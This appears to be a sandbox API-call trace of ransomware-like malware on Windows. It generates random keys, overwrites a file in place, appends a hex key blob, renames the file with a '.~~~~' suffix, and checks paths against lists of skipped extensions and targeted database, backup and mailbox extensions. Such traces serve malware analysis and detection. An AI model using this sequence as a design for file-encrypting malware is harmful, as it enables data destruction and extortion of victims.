	[0076.930] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.930] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.930] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0076.930] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0076.930] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19692061302) returned 1
	[0076.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x97bf9ff0, dwHighDateTime=0x1d60e1e)) 
	[0076.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0076.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0076.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0076.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac468
	[0076.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac468 | out: hHeap=0x300000) returned 1
	[0076.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e8170
	[0076.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8170 | out: hHeap=0x300000) returned 1
	[0076.931] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0076.931] GetLastError () returned 0x0
	[0076.931] GetLastError () returned 0x0
	[0076.932] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0076.932] GetLastError () returned 0x0
	[0076.932] GetLastError () returned 0x0
	[0076.932] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x10b2, lpOverlapped=0x0) returned 1
	[0077.026] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffef4e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0077.026] WriteFile (in: hFile=0x130, lpBuffer=0x3b76e0*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesWritten=0x26dfec0*=0x10b2, lpOverlapped=0x0) returned 1
	[0077.027] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b76e0 | out: hHeap=0x300000) returned 1
	[0077.027] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0077.027] WriteFile (in: hFile=0x130, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0077.027] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0077.027] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0077.027] CloseHandle (hObject=0x130) returned 1
	[0077.027] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0077.027] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Office32WW.xml.~~~~" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\office32ww.xml.~~~~")) returned 1
	[0077.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0077.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0077.122] GetLastError () returned 0x0
	[0077.122] RtlWakeConditionVariable () returned 0x365f70
	[0077.122] GetCurrentThreadId () returned 0x9cc
	[0077.122] GetCurrentThreadId () returned 0x9cc
	[0077.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a4b10
	[0077.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a50d0 | out: hHeap=0x300000) returned 1
	[0077.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac5b8 | out: hHeap=0x300000) returned 1
	[0077.122] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a50d0
	[0077.122] lstrlenW (lpString=".scr") returned 4
	[0077.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".scr") returned 0x0
	[0077.122] lstrlenW (lpString=".cmd") returned 4
	[0077.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".cmd") returned 0x0
	[0077.122] lstrlenW (lpString=".dll") returned 4
	[0077.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".dll") returned 0x0
	[0077.122] lstrlenW (lpString=".bat") returned 4
	[0077.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".bat") returned 0x0
	[0077.122] lstrlenW (lpString=".cpl") returned 4
	[0077.122] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".cpl") returned 0x0
	[0077.122] lstrlenW (lpString=".sys") returned 4
	[0077.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".sys") returned 0x0
	[0077.123] lstrlenW (lpString=".msc") returned 4
	[0077.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".msc") returned 0x0
	[0077.123] lstrlenW (lpString=".com") returned 4
	[0077.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".com") returned 0x0
	[0077.123] lstrlenW (lpString=".lnk") returned 4
	[0077.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".lnk") returned 0x0
	[0077.123] lstrlenW (lpString=".msp") returned 4
	[0077.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".msp") returned 0x0
	[0077.123] lstrlenW (lpString=".pif") returned 4
	[0077.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".pif") returned 0x0
	[0077.123] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0077.123] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch="msp\r\n.pif") returned 0x0
	[0077.123] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprorww.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0077.124] lstrlenW (lpString=".sqb") returned 4
	[0077.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".sqb") returned 0x0
	[0077.124] lstrlenW (lpString=".ost") returned 4
	[0077.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".ost") returned 0x0
	[0077.124] lstrlenW (lpString=".txt") returned 4
	[0077.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".txt") returned 0x0
	[0077.124] lstrlenW (lpString=".mdt") returned 4
	[0077.124] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".mdt") returned 0x0
	[0077.124] lstrlenW (lpString=".BDB") returned 4
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".BDB") returned 0x0
	[0077.125] lstrlenW (lpString=".eql") returned 4
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".eql") returned 0x0
	[0077.125] lstrlenW (lpString=".DBF") returned 4
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".DBF") returned 0x0
	[0077.125] lstrlenW (lpString=".EQL") returned 4
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".EQL") returned 0x0
	[0077.125] lstrlenW (lpString=".FDB") returned 4
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".FDB") returned 0x0
	[0077.125] lstrlenW (lpString=".EDB") returned 4
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".EDB") returned 0x0
	[0077.125] lstrlenW (lpString=".DACPAC") returned 7
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".DACPAC") returned 0x0
	[0077.125] lstrlenW (lpString=".VHD") returned 4
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".VHD") returned 0x0
	[0077.125] lstrlenW (lpString=".DBV") returned 4
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".DBV") returned 0x0
	[0077.125] lstrlenW (lpString=".dacpac") returned 7
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".dacpac") returned 0x0
	[0077.125] lstrlenW (lpString=".sdf") returned 4
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".sdf") returned 0x0
	[0077.125] lstrlenW (lpString=".accdb") returned 6
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".accdb") returned 0x0
	[0077.125] lstrlenW (lpString=".DBX") returned 4
	[0077.125] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".DBX") returned 0x0
	[0077.125] lstrlenW (lpString=".MDT") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".MDT") returned 0x0
	[0077.126] lstrlenW (lpString=".SQB") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".SQB") returned 0x0
	[0077.126] lstrlenW (lpString=".vhd") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".vhd") returned 0x0
	[0077.126] lstrlenW (lpString=".bac") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".bac") returned 0x0
	[0077.126] lstrlenW (lpString=".mdf") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".mdf") returned 0x0
	[0077.126] lstrlenW (lpString=".BAK") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".BAK") returned 0x0
	[0077.126] lstrlenW (lpString=".BAC") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".BAC") returned 0x0
	[0077.126] lstrlenW (lpString=".dbs") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".dbs") returned 0x0
	[0077.126] lstrlenW (lpString=".vhdx") returned 5
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".vhdx") returned 0x0
	[0077.126] lstrlenW (lpString=".NDF") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".NDF") returned 0x0
	[0077.126] lstrlenW (lpString=".dat") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".dat") returned 0x0
	[0077.126] lstrlenW (lpString=".DBS") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".DBS") returned 0x0
	[0077.126] lstrlenW (lpString=".CKP") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".CKP") returned 0x0
	[0077.126] lstrlenW (lpString=".edb") returned 4
	[0077.126] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".edb") returned 0x0
	[0077.127] lstrlenW (lpString=".PST") returned 4
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".PST") returned 0x0
	[0077.127] lstrlenW (lpString=".dbf") returned 4
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".dbf") returned 0x0
	[0077.127] lstrlenW (lpString=".SQL") returned 4
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".SQL") returned 0x0
	[0077.127] lstrlenW (lpString=".pst") returned 4
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".pst") returned 0x0
	[0077.127] lstrlenW (lpString=".dbv") returned 4
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".dbv") returned 0x0
	[0077.127] lstrlenW (lpString=".SDF") returned 4
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".SDF") returned 0x0
	[0077.127] lstrlenW (lpString=".dtxs") returned 5
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".dtxs") returned 0x0
	[0077.127] lstrlenW (lpString=".db3") returned 4
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".db3") returned 0x0
	[0077.127] lstrlenW (lpString=".OST") returned 4
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".OST") returned 0x0
	[0077.127] lstrlenW (lpString=".dbx") returned 4
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".dbx") returned 0x0
	[0077.127] lstrlenW (lpString=".DB3") returned 4
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".DB3") returned 0x0
	[0077.127] lstrlenW (lpString=".DAT") returned 4
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".DAT") returned 0x0
	[0077.127] lstrlenW (lpString=".VHDX") returned 5
	[0077.127] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".VHDX") returned 0x0
	[0077.127] lstrlenW (lpString=".ndf") returned 4
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".ndf") returned 0x0
	[0077.128] lstrlenW (lpString=".DB") returned 3
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".DB") returned 0x0
	[0077.128] lstrlenW (lpString=".sql") returned 4
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".sql") returned 0x0
	[0077.128] lstrlenW (lpString=".MYD") returned 4
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".MYD") returned 0x0
	[0077.128] lstrlenW (lpString=".DBT") returned 4
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".DBT") returned 0x0
	[0077.128] lstrlenW (lpString=".ACCDB") returned 6
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".ACCDB") returned 0x0
	[0077.128] lstrlenW (lpString=".fdb") returned 4
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".fdb") returned 0x0
	[0077.128] lstrlenW (lpString=".bak") returned 4
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".bak") returned 0x0
	[0077.128] lstrlenW (lpString=".myd") returned 4
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".myd") returned 0x0
	[0077.128] lstrlenW (lpString=".DTXS") returned 5
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".DTXS") returned 0x0
	[0077.128] lstrlenW (lpString=".ckp") returned 4
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".ckp") returned 0x0
	[0077.128] lstrlenW (lpString=".dbt") returned 4
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".dbt") returned 0x0
	[0077.128] lstrlenW (lpString=".db") returned 3
	[0077.128] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".db") returned 0x0
	[0077.128] lstrlenW (lpString=".TXT") returned 4
	[0077.129] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".TXT") returned 0x0
	[0077.129] lstrlenW (lpString=".MDF") returned 4
	[0077.129] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".MDF") returned 0x0
	[0077.129] lstrlenW (lpString=".bdb") returned 4
	[0077.129] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".bdb") returned 0x0
	[0077.129] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0077.129] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjProrWW.msi", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0077.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0077.129] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0077.129] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0077.130] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0077.130] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0077.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0077.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0077.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f2050
	[0077.130] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=19712035023) returned 1
	[0077.130] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x97de91d0, dwHighDateTime=0x1d60e1e)) 
	[0077.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0077.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0077.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0077.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3ac5b8
	[0077.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0077.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac5b8 | out: hHeap=0x300000) returned 1
	[0077.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0077.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0077.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2807808
	[0077.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0077.131] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0077.131] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2807808 | out: hHeap=0x300000) returned 1
	[0077.131] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0077.131] GetLastError () returned 0x0
	[0077.131] GetLastError () returned 0x0
	[0077.131] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0077.131] GetLastError () returned 0x0
	[0077.131] GetLastError () returned 0x0
	[0077.132] ReadFile (in: hFile=0x130, lpBuffer=0x3b76e0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b76e0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0077.137] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
